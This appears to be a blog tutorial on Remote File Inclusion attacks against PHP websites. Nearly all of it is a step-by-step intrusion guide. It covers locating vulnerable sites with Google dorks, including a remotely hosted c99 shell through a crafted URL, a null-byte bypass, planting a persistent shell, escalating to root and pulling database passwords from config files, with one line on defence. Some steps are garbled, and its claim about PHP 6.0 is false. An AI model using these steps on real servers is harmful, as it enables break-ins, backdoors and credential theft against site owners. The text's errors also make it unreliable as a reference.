Web Hacking ~ Remote File Inclusion


       Remote File Inclusion (RFI) occurs when a remote file, usually a shell 
(a graphical interface for browsing remote files and running your own code 
on a server), is included into a website which allows the hacker to execute 
server side commands as the current logged on user, and have access to 
files on the server. With this power the hacker can continue on to use local 
exploits to escalate his privileges and take over the whole system.  

   
                                                                                                                                                                               Many servers are vulnerable to this kind of attack because of PHP’s 
default settings of register_globals and allow_url_fopen being enabled. 
Although as of PHP 6.0, register_globals has been depreciated and 
removed, many websites still rely on older versions of PHP to run their web applications. Now let’s go through the steps a hacker would take to exploit 
this type of vulnerability in a website..



1.  First the hacker would find a website that gets its pages via the 
     PHP include() function and is vulnerable to RFI. Many hackers us
     Google dorks to locate servers vulnerable to RFI. A Google dork i
     the act of using Google’s provided search tools to help get a 
     specific search result.

2.  Website that include pages have a navigation system similar to: 
               http://target-site.com/index.php?page=PageName 


3.  To see if a the page is vulnerable, the hacker would try to include
      a site instead of PageName like the following: 
      http://target-site.com/index.php?page=http://google.com  


4.  If the Google homepage shows up on the website, then the 
      hacker knows the website is vulnerable and would continue to 
       include a shell. 



5.  A couple of the most popular shells are c99 and r57. A hacker 
      would either upload them to a remote server or just use a Google 
      dork to locate them already online and insert them. To find the a 
      shell the hacker would search Google for: inurl:c99.txt. This will 
      display many websites with the shell already up and ready to be 
     included. At the end of the URL make sure to add a ? so that if 
     anything comes after c99.txt, it will be passed to the shell and not 
     cause any problems. The new URL with the shell included would 
     look like: 

            http://target-site.com/index.php?page=http://site.com/c99.txt? 

6.  Sometimes the PHP script on the server appends “.php” to the 
      end of every included file. So if you included the shell, it would 
      end up looking like “c99.txt.php” and not work. To get around 
      this, you would add a null byte () to the end of c99.txt. This 
      tells the server to ignore everything after c99.txt. 


7.  In step one, I told you that hackers use Google dorks to look for 
     sites possibly vulnerable to RFIs. An example of a Google dork would be:                                                      allinurl:.php?page=. This looks for URL’s with 
   .php?page= in them. This is only an example and you most likely 
    won’t find any vulnerable sites with that search. You can try 
   switching around the word “page” with other letters and similar  
   words. Hackers usually search vulnerability databases like 
   www.milw0rm.com for already discovered RFI vulnerabilities in 
   site content management systems and search for websites that 
   are running that vulnerable web application with a Google dork.



8.  If the hacker succeeds in getting the server to parse the shell, he 
      will be presented with a screen similar to the following: 
The shell will display information about the remote server and list all 
the files and directories on it. From here the hacker would find a 
directory that has read and write privileges and upload the shell but this time as a .php file so that incase the vulnerability is fixed, he will 
be able to access it later on. 

9.  The hacker would next find a way to gain root privileges on the 
    system. He can do this by uploading and running local exploits 
    against the server. He could also search the victim server for 
    configuration files. These files may contain username and 
     passwords for the MYSQL databases and such. 

To protect yourself from RFI attacks, simply make sure you are using up-to-date 
scripts, and make sure you server php.ini file has register_globals and 
allow_url_fopen disabled. 




Dont Forgot to leave a comment if you like the post 

Categories: